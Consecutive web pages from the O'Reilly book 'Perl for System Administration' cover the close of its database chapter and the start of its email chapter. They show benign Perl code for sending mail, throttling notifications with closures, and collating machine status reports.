Unfortunately, sp_monitor exposes a nonportable Sybase-ism that was carried over to MS-SQL: multiple result sets. Each of the lines returned comes back as a separate result set. DBD::Sybase handles this by setting a special statement attribute. That's why you see this test:

while($href = $systh->fetchrow_hashref or
      $systh->{syb_more_results}) {

and why we exit this loop early once we've seen the columns we're looking for:

# got what we needed, stop asking
       last if (defined $href->{cpu_busy});

The program itself loops forever until it receives an interrupt signal (most likely from the user pressing Ctrl-C). When we receive this signal, we do the safest thing possible in a signal handler and set an exit flag. This is the technique recommended by the perlipc manpage for safe signal handling. Receiving the INT signal will set a flag that punts us out of the loop on the next iteration. Catching this signal allows the program to nicely close its database handles before shuffling off this mortal coil.

This small program just scratches the surface of the sort of server monitoring we can do. It would be easy to take the results we get from sp_monitor and graph them over time to get a better notion of how our server is being used. Let creeping featurism be your muse.

Previous | Home | Next
7.5. Database Logins | Book Index | 7.7. Module Information for This Chapter
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Module Information for This Chapter (Perl for System Administration)

 Perl for System AdministrationSearch this book

7.7. Module Information for This Chapter

Module | CPAN ID | Version
DBI | TIMB | 1.13
Msql-Mysql modules (DBD::mysql) | JWIED | 1.2210
DBD::Sybase | MEWP | 0.21
Win32::ODBC (from http://www.roth.net) | GBARR | 970208
Previous | Home | Next
7.6. Monitoring Server Health | Book Index | 7.8. References for More Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References for More Information (Perl for System Administration)

 Perl for System AdministrationSearch this book

7.8. References for More Information

7.8.1. SQL

http://w3.one.net/~jhoffman/sqltut.htm contains James Hoffman's excellent SQL tutorial; try the links at the end of the tutorial for more good SQL sites.

7.8.2. DBI

Advanced Perl Programming,by Sriram Srinivasan (O'Reilly, 1997).

http://www.symbolstone.org/technology/perl/DBI/index.html is the official DBI home page; this should be your first stop.

Programming the Perl DBI, by Alligator Descartes and Tim Bunce (O'Reilly, 2000).

7.8.3. ODBC

http://www.microsoft.com/odbc contains Microsoft's ODBC information. You may also want to search for ODBC on the http://msdn.microsoft.com site, looking carefully at the library material on ODBC in the MDAC SDK.

http://www.roth.net/perl/odbc/ is the official Win32::ODBC home page.

Win32 Perl Programming: The Standard Extensions, by Dave Roth (Macmillan Technical Publishing, 1999). By the author of Win32::ODBC, currently the best reference for Win32 Perl module programming.

7.8.4. Other Topics

http://sybooks.sybase.com is where Sybase puts its entire documentation set online with an easy to navigate and easy to search interface. This sometimes comes in handy not just for Sybase/MS-SQL related questions, but for general SQL questions as well.

http://www.mbay.net/~mpeppler/ is the home page of Michael Peppler (author of SybPerl and DBD::Sybase). Contains some useful information not just on Sybase, but also on SQL and database programming in general.

Previous | Home | Next
7.7. Module Information for This Chapter | Book Index | 8. Electronic Mail
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Electronic Mail (Perl for System Administration)

 Perl for System AdministrationSearch this book

Chapter 8. Electronic Mail

Contents:

Sending Mail
Common Mistakes in Sending Email
Receiving Mail
Module Information for This Chapter
References for More Information

Unlike the other chapters in this book, this chapter does not discuss how to administer a particular service, technology, or knowledge domain. Instead, we're going to look at how to use email from Perl as a tool for system administration.

Perl can help us in an administrative context with both sending and receiving email. Email is a great notification mechanism: often we want a program to tell us when something goes wrong, provide the results of an automatic process (like a late night cron or scheduler service job), or let us know when something we care about changes. We'll explore how to send mail from Perl for these purposes and then look at some of the pitfalls associated with the practice of sending ourselves mail.

Similarly, we'll look at how Perl can be used to post-process mail we receive to make it more useful to us. Perl can be useful for dealing with spam and managing user questions.

This chapter will assume that you already have a solid and reliable mail infrastructure. We're also going to assume that your mail system, or one that you have access to, uses protocols that follow the IETF specifications for sending and receiving mail. The examples in this chapter will use protocols like SMTP (Simple Mail Transfer Protocol, RFC821) and expect messages to be RFC822-compliant. We'll go over these terms in due course.

8.1. Sending Mail

Let's talk about the mechanics of sending email first and then tackle the more sophisticated issues. The traditional (Unix) Perl mail sending code often looks something like this example from the Perl Frequently Asked Questions list:

# assumes we have sendmail installed
open(SENDMAIL, "|/usr/lib/sendmail -oi -t -odq") or
  die "Can't fork for sendmail: $!\n";
print SENDMAIL <<"EOF";
From: User Originating Mail <me\@host>
To: Final Destination <you\@otherhost>
Subject: A relevant subject line

Body of the message goes here after the blank line
in as many lines as you like.
EOF
close(SENDMAIL) or warn "sendmail didn't close nicely";

TIP

When the array interpolation rules were changed between Perl Version 4 and Perl Version 5, it broke many scripts that sent mail. Even now, be on the lookout for code like this:

$address = "fred@example.com";

This needs to be changed to one of these lines to work properly:

$address="fred\@example.com";
$address='fred@example.com';
$address= join('@', 'fred', 'example.com');

Code that calls sendmail like our example above works fine under many circumstances, but it doesn't work on any operating system that lacks a mail transport agent called "sendmail" installed (e.g., NT or MacOS). On those operating systems, this leaves you with a few choices.

8.1.1. Getting sendmail (or Similar Mail Transport Agent)

On Win32, you're in luck because I know of at least three Win32 ports of sendmail itself:

  • Cygwin sendmail port (http://dome/weeg.uiowa.edu/pub/domestic/sos/ports)

  • Mercury Systems' commercial sendmail port (http://www.demobuilder.com/sendmail.htm)

  • Sendmail, Inc.'s commercial Sendmail for NT (http://www.sendmail.com)

If you'd like something more lightweight, and are willing to make small modifications to your Perl code to support different command-line arguments, other Win32 programs like these will do the trick:

  • blat (http://www.interlog.com/~tcharron/blat.html)

  • netmail95 (http://www.geocities.com/SiliconValley/Lakes/2382/netmail.html)

  • wmailto (http://www.impaqcomp.com/jgaa/wmailto.html)

The advantage of this approach is it offloads much of the mail-sending complexity from your script. A good Mail Transport Agent (MTA) handles the process of retrying a destination mail server if it's unreachable, selecting the right destination server (finding and choosing between Mail eXchanger DNS records), rewriting the headers if necessary, dealing with bounces, and so on. If you can avoid having to take care of all of that in Perl, that's often a good thing.

8.1.2. Using the OS-Specific IPC Framework.

On MacOS or Windows NT, you can drive a mail client using the native interprocess communication (IPC) framework.

I haven't seen any MacOS ports of sendmail, but under MacOS, we can ask Perl to use AppleScript to drive an email client:

$to="someone\@example.com";
$from="me\@example.com";
$subject="Hi there";
$body="message body\n";

MacPerl::DoAppleScript(<<EOC);
tell application "Eudora"

    make message at end of mailbox "out"

    -- 0 is the current message
    set field \"from\" of message 0 to \"$from\"
    set field \"to\" of message 0 to \"$to\"
    set field \"subject\" of message 0 to \"$subject\"
    set body of message 0 to \"$body\"
    queue message 0
    connect with sending without checking
    quit
end tell
EOC

This code executes a very simple AppleScript that communicates with the email client Eudora by Qualcomm. The script creates a new message, populates and queues the message for sending, and then instructs Eudora to send its queued messages before quitting.

Another slightly more efficient way to write this same code would be to use the Mac::Glue module we saw in Chapter 2, "Filesystems":

use Mac::Glue ':glue';

$e=new Mac::Glue 'Eudora';
$to="someone\@example.com";
$from="me\@example.com";
$subject="Hi there";
$body="message body";

$e->make(
    new => 'message',
    at => location(end => $e->obj(mailbox => 'Out'))
);

$e->set($e->obj(field => from    => message => 0), to => $from);
$e->set($e->obj(field => to      => message => 0), to => $to);
$e->set($e->obj(field => subject => message => 0), to => $subject);
$e->set($e->prop(body => message => 0), to => $body);

$e->queue($e->obj(message => 0));
$e->connect(sending => 1, checking => 0);
$e->quit;

Under NT, we can use Microsoft's Collaborative Data Objects Library (previously called Active Messaging), an ease-of-use layer built on top of their MAPI (Messaging Application Programming Interface) architecture. To call this library to drive a mail client like Outlook, we could use the Win32::OLE module like so:

$to="me\@example.com";
$subject="Hi there";
$body="message body\n";

use Win32::OLE;

# init OLE, COINIT_OLEINITIALIZE required when using MAPI.Session objects
Win32::OLE->Initialize(Win32::OLE::COINIT_OLEINITIALIZE);
die Win32::OLE->LastError(),"\n" if Win32::OLE->LastError(  );

# create a session object that will call Logoff when it is destroyed
my $session = Win32::OLE->new('MAPI.Session','Logoff');
die Win32::OLE->LastError(),"\n" if Win32::OLE->LastError(  );

# log into that session using the default OL98 Internet Profile
$session->Logon('Microsoft Outlook Internet Settings');
die Win32::OLE->LastError(),"\n" if Win32::OLE->LastError(  );

# create a message object
my $message = $session->Outbox->Messages->Add;
die Win32::OLE->LastError(),"\n" if Win32::OLE->LastError(  );

# create a recipient object for that message object
my $recipient = $message->Recipients->Add;
die Win32::OLE->LastError(),"\n" if Win32::OLE->LastError(  );

# populate the recipient object
$recipient->{Name} = $to;
$recipient->{Type} = 1; # 1 = "To:", 2 = "Cc:", 3 = "Bcc:"

# all addresses have to be resolved against a directory
# (in this case probably your Address book). Full addresses
# usually resolve to themselves, so this line in most cases will
# not modify the recipient object.
$recipient->Resolve(  );
die Win32::OLE->LastError(),"\n" if Win32::OLE->LastError(  );

# populate the Subject: line and message body
$message->{Subject} = $subject;
$message->{Text} = $body;

# queue the message to be sent
# 1st argument = save copy of message
# 2nd argument = allows user to change message w/dialog box before sent
# 3rd argument = parent window of dialog if 2nd argument is True
$message->Send(0, 0, 0);
die Win32::OLE->LastError(),"\n" if Win32::OLE->LastError(  );

# explicitly destroy the $session object, calling $session->Logoff
# in the process
undef $session;

Unlike the previous example, this code just queues the message to be sent. It is up to the mail client (like Outlook) or transport infrastructure (like Exchange) to periodically initiate message delivery. There is a CDO/AM 1.1 method for the Session object called DeliverNow( ) that is supposed to instruct MAPI to flush all incoming and outgoing mail queues. Unfortunately, it is not available and does not work under some circumstances, so it is not included in the previous code example.

The previous code drives MAPI "by hand" using OLE calls. If you'd like to use MAPI without getting your hands that dirty, Amine Moulay Ramdane has put together a Win32::MAPI module (found at http://www.generation.net/~aminer/Perl/) that can take some of the work out of the process.

Programs that rely on AppleScript/Apple Events or MAPI are equally as non-portable as calling a sendmail binary. They offload some of the work, but are relatively inefficient. They should probably be your methods of last resort.

8.1.3. Speaking to the Mail Protocols Directly

Our final choice is to write code that speaks to the mail server in its native language. Most of this language is documented in RFC821. Here's a basic SMTP (Simple Mail Transport Protocol) conversation. The data we send is in bold:

% telnet example.com 25         -- connect to the SMTP port on example.com
Trying 192.168.1.10 ...
Connected to example.com.
Escape character is '^]'.
220 mailhub.example.com ESMTP Sendmail 8.9.1a/8.9.1; Sun, 11 Apr 1999 15:32:16 -0400 (EDT)
HELO client.example.com        -- identify the machine we are connecting from
                                                                             (can also use EHLO)
250 mailhub.example.com Hello dnb@client.example.com [192.168.1.11], pleased to meet you
MAIL FROM: <dnb@example.com>   -- specify the sender
250 <dnb@example.com>... Sender ok
RCPT TO: <dnb@example.com>     -- specify the recipient
250 <dnb@example.com>... Recipient ok
DATA                           -- begin to send message, note we send several key header lines
354 Enter mail, end with "." on a line by itself
From: David N. Blank-Edelman (David N. Blank-Edelman)
To: dnb@example.com
Subject: SMTP is a fine protocol

Just wanted to drop myself a note to remind myself how much I love SMTP.
     Peace,
       dNb
.                              -- finish sending the message
250 PAA26624 Message accepted for delivery
QUIT                           -- end the session
221 mailhub.example.com closing connection
Connection closed by foreign host.

It is not difficult to script a network conversation like this. We could use the Socket module or even something like Net::Telnet as seen in Chapter 6, "Directory Services". But there are good mail modules out there that make our job easier, like Jenda Krynicky's Mail::Sender, Milivoj Ivkovic's Mail::Sendmail, and Mail::Mailer in Graham Barr's MailTools package. All three of these packages are operating-system-independent and will work almost anywhere a modern Perl distribution is available. We'll look at Mail::Mailer because it offers a single interface to two of the mail-sending methods we've discussed so far. Like most Perl modules written in an object-oriented style, the first step is to construct an instance of new object:

use Mail::Mailer;

$from="me\@example.com";
$to="you\@example.com";
$subject="Hi there";
$body="message body\n";

$type="smtp";
$server="mail.example.com";

my $mailer = Mail::Mailer->new($type, Server => $server) or
  die "Unable to create new mailer object:$!\n";

The $type variable allows you to choose one of the following behaviors:

smtp

Send the mail using the Net::SMTP module (part of Barr's libnet package), available for most non-Unix ports of Perl as well. If you are using MailTools Version 1.13 and above, you can specify the SMTP server name using the => notation as demonstrated above. If not, you will have to configure the server name as part of the libnet install procedure.

mail

Send the mail using the Unix mail user agent mail (or whatever binary you specify as an optional second argument). This is similar to our use of AppleScript and MAPI above.

sendmail

Send the mail using the sendmail binary, like our first method of this section.

You can also set the environment variable PERL_MAILERS to change the default locations used to find the binaries like sendmail on your system.

Calling the open( ) method of our Mail::Mailer object causes our object to behave like a filehandle to an outgoing message. In this call, we pass in the headers of the message as a reference to an anonymous hash:

$mailer->open({From => $from,
               To => $to,
               Subject => $subject}) or
  die "Unable to populate mailer object:$!\n";

We print our message body to this pseudo-filehandle and then close it to send the message:

print $mailer $body;
$mailer->close;

That's all it takes to send mail portably via Perl.

Depending on which $type behavior we choose when using this module, we may or may not be covered regarding the harder MTA issues mentioned earlier. The previous code uses the smtp behavior, which means our code needs to be smart enough to handle error conditions like unreachable servers. As written, it's not that smart. Be sure any production code you write is prepared to deal with these issues.

Previous | Home | Next
7.8. References for More Information | Book Index | 8.2. Common Mistakes in Sending Email
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Common Mistakes in Sending Email (Perl for System Administration)

 Perl for System AdministrationSearch this book

8.2. Common Mistakes in Sending Email

Now we can begin using email as a notification method. However, when we start to write code that performs this function, we quickly find that the how to send mail is not nearly as interesting as the when and what to send.

This section explores those questions by taking a contrary approach. If we look at what and how not to send mail we'll get a deeper insight into these issues. Let's talk about some of the most common mistakes made when writing system administration programs that send mail.

8.2.1. Overzealous Message Sending

By far, the most common mistake is sending too much mail. It is a great idea to have scripts send mail. If there's a service disruption, normal email or email sent to a pager are good ways to bring this problem to the attention of a human. But under most circumstances it is a very bad idea to have your program send mail about the problem every five minutes or so. Overzealous mail generators are quickly added to the mail filters of the very humans who should be reading the mail. The end result is that important mail is routinely ignored.

8.2.1.1. Controlling the frequency of mail

The easiest way to avoid what I call "mail beaconing" is to build safeguards into the programs to gate the delay between messages. If your script runs constantly, it is easy to stash the time of the last mail message sent in a variable like this:

$last_sent = time;

If your program is started up every N minutes or hours via Unix's cron or NT scheduler service mechanisms, this information can be written to a one-line file and read again the next time the program is run. Be sure in this case to pay attention to some of the security precautions listed in Chapter 1, "Introduction".

Depending on the situation, you can get fancy about your delay times. This code shows an exponential backoff:

$max  = 24*60*60; # maximum amount of delay in seconds (1 day)
$unit = 60;       # increase delay by measures of this unit (1 min)

# provide a closure with the time we last sent a message and
# the last power of 2 we used to compute the delay interval.
# The subroutine we create will return a reference to an
# anonymous array with this information
sub time_closure {
    my($stored_sent,$stored_power)=(0,-1);
    return sub {
       (($stored_sent,$stored_power) = @_) if @_;
       [$stored_sent,$stored_power];
    }
};

$last_data=&time_closure; # create our closure

# return true first time called and then once after an
# exponential delay
sub expbackoff {
    my($last_sent,$last_power) = @{&$last_data};

    # reply true if this is the first time we've been asked, or if the
    # current delay has elapsed since we last asked. If we return true,
    # we stash away the time of our last affirmative reply and increase
    # the power of 2 used to compute the delay.
    if (!$last_sent or
       ($last_sent +
         (($unit * 2**$last_power >= $max) ?
             $max : $unit * 2**$last_power) <= time(  ))){
                    &$last_data(time(  ),++$last_power);
              return 1;
    }
    else {
       return 0;
    }
}

The subroutine expbackoff( ) returns true (1) if email should be sent and false (0) if not. It begins by returning true the first time it is called, then rapidly increases the delay time until eventually true is only returned once a day.

To make this code more interesting, I've used a peculiar programming construct called a closure to stash away the last message-sent time and the last power of two used to compute the delay. We're using the closure as a way of hiding our important variables from the rest of the program. In this small program it is just a curiosity, but the usefulness of this technique becomes readily apparent in a larger program where it is more likely that other code might inadvertently stomp on our variables. In brief, here's how closures work.

The subroutine &time_closure( ) returns a reference to an anonymous subroutine, essentially a little piece of code without a name. Later on we'll use that reference to run this code using the standard symbolic reference syntax: &$last_data. The code in our anonymous subroutine returns a reference to an array, hence the punctuation parking lot in this line used to access the returned data:

my($last_sent,$last_power) = @{&$last_data};

Here's the magic that makes a closure: because the reference is created in the same enclosing block as the my( )ed variables $stored_sent and $stored_power, it traps those variables in a unique context. $stored_sent and $stored_power can be read and changed only while the code in this reference is executing. They also retain their values between invocations of the code reference. For instance:

# create our closure
$last_data=&time_closure;

# call the subroutine that sets our variables
&$last_data(1,1);

# attempt to change them outside of the sub
$stored_sent = $stored_power = 2;

# show their current value using the subroutine
print "@{&$last_data}\n";

will print "1 1" even though it appears we changed the values of $stored_sent and $stored_power in the third line of code. We certainly changed the value of the global variables with those names, but we couldn't touch the copies protected by the closure.

It may help you to think of a variable in a closure as a satellite in orbit around a wandering planet. The satellite is trapped by the gravity of the planet; where the planet goes, so too goes the satellite. The satellite's position can be described only in reference to the planet: to find the satellite, you first locate the planet. Each time you find this particular planet, the satellite should be there, just where you left it. Think of the variables in a closure as being in orbit around their anonymous subroutine code reference, separate from the rest of your program's galaxy.

Setting astrophysics aside, let's return to our discussion of mail sending. Sometimes it is more appropriate to have your program act like a two-year-old, complaining more often as time goes by. Here's some code similar to the previous example. This time we increase the number of messages sent over time. It starts off giving the go-ahead to send mail once a day and then rapidly decreases the delay time until it hits a minimum delay of five minutes:

$max  = 60*60*24; # maximum amount of delay in seconds (1 day)
$min  = 60*5;     # minimum amount of delay in seconds (5 minutes)
$unit = 60;       # decrease delay by measures of this unit (1 min)

$start_power = int log($max/$unit)/log(2); # find the closest power of 2

sub time_closure {
    my($last_sent,$last_power)=(0,$start_power+1);
    return sub {
      (($last_sent,$last_power) = @_) if @_;
      # keep exponent positive
      $last_power = ($last_power > 0) ? $last_power : 0;
      [$last_sent,$last_power];
    }
};

$last_data=&time_closure; # create our closure

# return true first time called and then once after an
# exponential ramp up
sub exprampup {
    my($last_sent,$last_power) = @{&$last_data};

    # reply true if this is the first time we've been asked, or if the
    # current delay has elapsed since we last asked. If we send, we
    # stash away the time of our last affirmative reply and increased
    # power of 2 used to compute the delay.
    if (!$last_sent or
        ($last_sent +
         (($unit * 2**$last_power <= $min) ?
              $min : $unit * 2**$last_power) <= time(  ))){
                 &$last_data(time(  ),--$last_power);
                 return 1;
    }
    else {
       return 0;
    }
}

In both examples we called an additional subroutine (&$last_data) to find when the last message was sent and how the delay was computed. Later, if we decide to change how the program is run, this compartmentalization will allow us to change how we store that state. For example, if we change our program to run periodically rather than running all the time, we could easily replace the closure with a normal subroutine that saves and retrieves the data to and from a plain text file.

8.2.1.2. Controlling the amount of mail

Another subclass of the "overzealous message sending" syndrome is the "everybody on the network for themselves" problem. If all of the machines on your network decide to send you a piece of mail, you may miss something important in the subsequent message blizzard. A better approach is to have them all report to a central repository of some sort. The information can then be collated and mailed out later in a single mail message.

Let's consider a moderately contrived example. For this scenario, assume each machine in your network drops a one-line file into a shared directory.[1] Named for each machine, that file will contain each machine's summary of the results of last night's scientific computation. It would have a single line of this form:

[1]Another good rendezvous spot for status information like this would be in a database.

hostname success-or-failure number-of-computations-completed

A program that collates the information and mails the results might look like this:

use Mail::Mailer;
use Text::Wrap;

# the list of machines reporting in
$repolist = "/project/machinelist";
# the directory where they write files
$repodir  = "/project/reportddir";
# filesystem separator for portability,
# could use File::Spec module instead
$separator= "/";
# send mail "from" this address
$reportfromaddr  = "project\@example.com";
# send mail to this address
$reporttoaddr    = "project\@example.com";
# read the list of machine reporting in into a hash.
# Later we de-populate this hash as each machine reports in,
# leaving behind only the machine which are missing in action
open(LIST,$repolist) or die "Unable to open list $repolist:$!\n";
while(<LIST>){
    chomp;
    $missing{$_}=1;
    $machines++;
}

# read all of the files in the central report directory
# note: this directory should be cleaned out automatically
# by another script
opendir(REPO,$repodir) or die "Unable to open dir $repodir:$!\n";

while(defined($statfile=readdir(REPO))){
    next unless -f $repodir.$separator.$statfile;

    # open each status file and read in the one-line status report
    open(STAT,$repodir.$separator.$statfile)
      or die "Unable to open $statfile:$!\n";

    chomp($report = <STAT>);

    ($hostname,$result,$details)=split(' ',$report,3);

    warn "$statfile said it was generated by $hostname!\n"
      if($hostname ne $statfile);

    # hostname is no longer considered missing
    delete $missing{$hostname};
    # populate these hashes based on success or failure reported
    if ($result eq "success"){
        $success{$hostname}=$details;
        $succeeded++;
    }
    else {
        $fail{$hostname}=$details;
        $failed++;
    }
    close(STAT);
}
closedir(REPO);

# construct a useful subject for our mail message
if ($successes == $machines){
    $subject = "[report] Success: $machines";
}
elsif ($failed == $machines or scalar keys %missing >= $machines) {
    $subject = "[report] Fail: $machines";
}
else {
    $subject = "[report] Partial: $succeeded ACK, $failed NACK".
      ((%missing) ? ", ".scalar keys %missing." MIA" : "");
}

# create the mailer object and populate the headers
$type="sendmail";
my $mailer = Mail::Mailer->new($type) or
  die "Unable to create new mailer object:$!\n";

$mailer->open({From=>$reportfromaddr, To=>$reporttoaddr, Subject=>$subject}) or
  die "Unable to populate mailer object:$!\n";

# create the body of the message
print $mailer "Run report from $0 on " . scalar localtime(time) . "\n";

if (keys %success){
    print $mailer "\n==Succeeded==\n";
    foreach $hostname (sort keys %success){
      print $mailer "$hostname: $success{$hostname}\n";
    }
}

if (keys %fail){
    print $mailer "\n==Failed==\n";
    foreach $hostname (sort keys %fail){
      print $mailer "$hostname: $fail{$hostname}\n";
    }
}

if (keys %missing){
    print $mailer "\n==Missing==\n";
    print $mailer wrap("","",join(" ",sort keys %missing)),"\n";
}

# send the message
$mailer->close;

The code first reads a list of the machine names that will be participating in this scheme. Later on it will use a hash based on this list to check if there are any machines that have not placed a file in the central reporting directory. We open each file in this directory and extract the status information. Once we've collated the results, we construct a mail message and send it out.

Here's an example of the resulting mail:

Date: Wed, 14 Apr 1999 13:06:09 -0400 (EDT)
Message-Id: <199904141706.NAA08780@example.com>
Subject: [report] Partial: 3 ACK, 4 NACK, 1 MIA
To: project@example.com
From: project@example.com

Run report from reportscript on Wed Apr 14 13:06:08 1999

==Succeeded==
barney: computed 23123 oogatrons
betty: computed 6745634 oogatrons
fred: computed 56344 oogatrons

==Failed==
bambam: computed 0 oogatrons
dino: computed 0 oogatrons
pebbles: computed 0 oogatrons
wilma: computed 0 oogatrons

==Missing==
mrslate

Another way to collate results like this is to create a custom logging daemon and have each machine report in over a network socket. Let's look at code for the server first. This example reuses code from the previous example. We'll talk about the important new code right after you see the listing:

use IO::Socket;
use Text::Wrap; # used to make the output prettier

# the list of machine reporting in
$repolist = "/project/machinelist";
# the port number clients should connect to
$serverport = "9967";

&loadmachines; # load the machine list

# set up our side of the socket
$reserver = IO::Socket::INET->new(LocalPort => $serverport,
                                  Proto     => "tcp",
                                  Type      => SOCK_STREAM,
                                  Listen    => 5,
                                  Reuse     => 1)
  or die "Unable to build our socket half: $!\n";

# start listening on it for connects
while(($connectsock,$connectaddr) = $reserver->accept(  )){

    # the name of the client that has connected to us
    $connectname = gethostbyaddr((sockaddr_in($connectaddr))[1],AF_INET);

    chomp($report=$connectsock->getline);

    ($hostname,$result,$details)=split(' ',$report,3);

    # if we've been told to dump our info, print out a ready-to-go mail
    # message and reinitialize all of our hashes/counters
    if ($hostname eq "DUMPNOW"){
      &printmail($connectsock);
      close($connectsock);
      undef %success;
      undef %fail;
      $succeeded = $failed = 0;
      &loadmachines;
      next;
    }

    warn "$connectname said it was generated by $hostname!\n"
      if($hostname ne $connectname);
    delete $missing{$hostname};
    if ($result eq "success"){
      $success{$hostname}=$details;
      $succeeded++;
    }
    else {
      $fail{$hostname}=$details;
      $failed++;
    }
    close($connectsock);
}
close($reserver);

# loads the list of machines from the given file
sub loadmachines {
    undef %missing;
    undef $machines;
    open(LIST,$repolist) or die "Unable to open list $repolist:$!\n";
    while(<LIST>){
      chomp;
      $missing{$_}=1;
      $machines++;
    }
}

# prints a ready to go mail message. The first line is the subject,
# subsequent lines are all the body of the message
sub printmail{
    ($socket) = $_[0];

    if ($successes == $machines){
      $subject = "[report] Success: $machines";
    }
    elsif ($failed == $machines or scalar keys %missing >= $machines) {
      $subject = "[report] Fail: $machines";
    }
    else {
      $subject = "[report] Partial: $succeeded ACK, $failed NACK".
        ((%missing) ? ", ".scalar keys %missing." MIA" : "");
    }

    print $socket "$subject\n";

    print $socket "Run report from $0 on ".scalar localtime(time)."\n";

    if (keys %success){
      print $socket "\n==Succeeded==\n";
      foreach $hostname (sort keys %success){
        print $socket "$hostname: $success{$hostname}\n";
       }
    }

    if (keys %fail){
      print $socket "\n==Failed==\n";
      foreach $hostname (sort keys %fail){
        print $socket "$hostname: $fail{$hostname}\n";
       }
    }

    if (keys %missing){
      print $socket "\n==Missing==\n";
      print $socket wrap("","",join(" ",sort keys %missing)),"\n";
    }
}

Besides moving some of the code sections to their own subroutines, the key change is the addition of the networking code. The IO::Socket module makes the process of opening and using sockets pretty painless. Sockets are usually described using a telephone metaphor. We start by setting up our side of the socket (IO::Socket->new( )), essentially turning on our phone, and then wait for a call from a network client (IO::Socket->accept( )). Our program will pause (or "block") until a connection comes in. As soon as it arrives, we note the name of the connecting client. We then read a line of input from the socket.

This line of input is expected to look just like those we read from individual files in our previous example. The one difference is the magic hostname DUMPNOW. If we see this hostname, we print the subject and body of a ready-to-mail message to the connecting client and reset all of our counters and hash tables. The client is then responsible for actually sending the mail it receives from the server. Let's look at our sample client and what it can do with this message:

use IO::Socket;

# the port number clients should connect to
$serverport = "9967";
# and the name of the server
$servername = "reportserver";
# name to IP address
$serveraddr = inet_ntoa(scalar gethostbyname($servername));
$reporttoaddr  = "project\@example.com";
$reportfromaddr  = "project\@example.com";

$reserver = IO::Socket::INET->new(PeerAddr => $serveraddr,
                                  PeerPort => $serverport,
                                  Proto    => "tcp",
                                  Type     => SOCK_STREAM)
  or die "Unable to build our socket half: $!\n";

if ($ARGV[0] ne "-m"){
    print $reserver $ARGV[0];
}
else {
    use Mail::Mailer;

    print $reserver "DUMPNOW\n";
    chomp($subject = <$reserver>);
    $body = join("",<$reserver>);

    $type="sendmail";
    my $mailer = Mail::Mailer->new($type) or
      die "Unable to create new mailer object:$!\n";

    $mailer->open({
           From => $reportfromaddr,
           To => $reporttoaddr,
           Subject => $subject
          }) or
            die "Unable to populate mailer object:$!\n";

    print $mailer $body;
    $mailer->close;
}

close($reserver);

This code is simpler. First, we open up a socket to the server. In most cases, we pass it our status information (received on the command line as $ARGV[0]) and drop the connection. If we were really going to set up a logging client-server like this, we would probably encapsulate this client code in a subroutine and call it from within a much larger program after its processing had been completed.

If this script is passed an -m flag, it instead sends "DUMPNOW" to the server and reads the subject line and body returned by the server. Then this output is fed to Mail::Mailer and sent out via mail using the same code we've seen earlier.

To limit the example code size and keep the discussion on track, the server and client code presented here is as bare bones as possible. There's no error or input checking, access control or authentication (anyone on the Net who can get to our server can feed and receive data from it), persistent storage (what if the machine goes down?), or any of a number of routine precautions in place. On top of this, we can only handle a single request at a time. If a client should stall in the middle of a transaction, we're sunk. For more sophisticated server examples, I recommend the client-server treatments in Sriram Srinivasan's Advanced Perl Programming, and Tom Christiansen and Nathan Torkington's Perl Cookbook, both published by O'Reilly. Jochen Wiedmann's Net::Daemon module will also help you write more sophisticated daemon programs.

Let's move on to the other common mistakes made when writing system administration programs that send mail.

8.2.2. Subject Line Waste

A Subject: line is a terrible thing to waste. When sending mail automatically, it is possible to generate a useful Subject: line on the fly for each message. This means there is very little excuse to leave someone with a mailbox that looks like this:

Super-User     File history database merge report
Super-User     File history database merge report
Super-User     File history database merge report
Super-User     File history database merge report
Super-User     File history database merge report
Super-User     File history database merge report
Super-User     File history database merge report

when it could look like this:

Super-User     Backup OK, 1 tape, 1.400 GB written.
Super-User     Backup OK, 1 tape, 1.768 GB written.
Super-User     Backup OK, 1 tape, 2.294 GB written.
Super-User     Backup OK, 1 tape, 2.817 GB written.
Super-User     Backup OK, 1 tape, 3.438 GB written.
Super-User     Backup OK, 3 tapes, 75.40 GB written.

Your Subject: line should be a concise and explicit summary of the situation. It should be very clear from the subject line whether the program generating the message is reporting success, failure, or something in between. A little more programming effort will pay off handsomely in reduced time reading mail.

8.2.3. Insufficient Information in the Message Body

This falls into the same "a little verbosity goes a long way" category as the previous mistake. If your script is going to complain about problems or error conditions in email, there are certain pieces of information it should provide in that mail. They boil down to the canonical questions of journalism:

Who?

Which script is complaining? Include the contents of $0 (if you haven't set it explicitly) to show the full path to the current script. Mention the version of your script if it has one.

Where?

Give some indication of the place in your script where trouble occurred. The Perl function caller( ) returns all sorts of useful information for this:

# note: what caller(  ) returns can be specific to a
# particular Perl version, be sure to see the perlfunc docs
($package, $filename, $line, $subroutine, $hasargs, $wantarray,
 $evaltext, $is_require) = caller($frames);

$frames above is the number of stack frames (if you've called subroutines from within subroutines) desired. Most often you'll want $frames set to 1. Here's a sample list returned by the caller( ) function when called in the middle of the server code from our last full code example:

('main','repserver',32,'main::printmail',1,undef)

This shows the script was in the main package while running from the filename repserver at line 32 in the script. At that point it was executing code in the main::printmail subroutine (which has arguments and has not been called in a list context).

If you want to use caller( ) without doing it by hand, the Carp module also provides an excellent problem report.

When?

Describe the program state at the time of the error. For instance, what was the last line of input read?

Why?

If you can, answer the reader's unspoken question: "Why are you bothering me with a mail message?" The answer may be as simple as "the accounting data has not been fully collated," "DNS service is not available now," or "the machine room is on fire." This provides context to the reader (and perhaps some motivation to investigate).

What?

Finally, don't forget to mention what went wrong in the first place.

Here's some simple Perl code that covers all of these bases:

use Text::Wrap;

sub problemreport {
# $shortcontext should be a one-line description of the problem
# $usercontext should be a detailed description of the problem
# $nextstep should be the best suggestion for how to remedy the problem
    my($shortcontext,$usercontext,$nextstep) = @_;
    my($filename, $line, $subroutine) = (caller(1))[1,2,3];

    push(@return,"Problem with $filename: $shortcontext\n");

    push(@return,"*** Problem report for $filename ***\n\n");
    push(@return,fill("","","- Problem: $usercontext")."\n\n");
    push(@return,"- Location: line $line of file $filename in
                 $subroutine\n\n");
    push(@return,"- Occurred: ".scalar localtime(time)."\n\n");

    push(@return,"- Next step: $nextstep\n");

    \@return;
}

sub fireperson {
    $report = &problemreport("the computer is on fire",<<EOR,<<EON);
While running the accounting report, smoke started pouring out of the
back of the machine. This occurred right after we processed the ORA
pension plan.
EOR
Please put fire out before continuing.
EON

  print @{$report};

}

&fireperson;

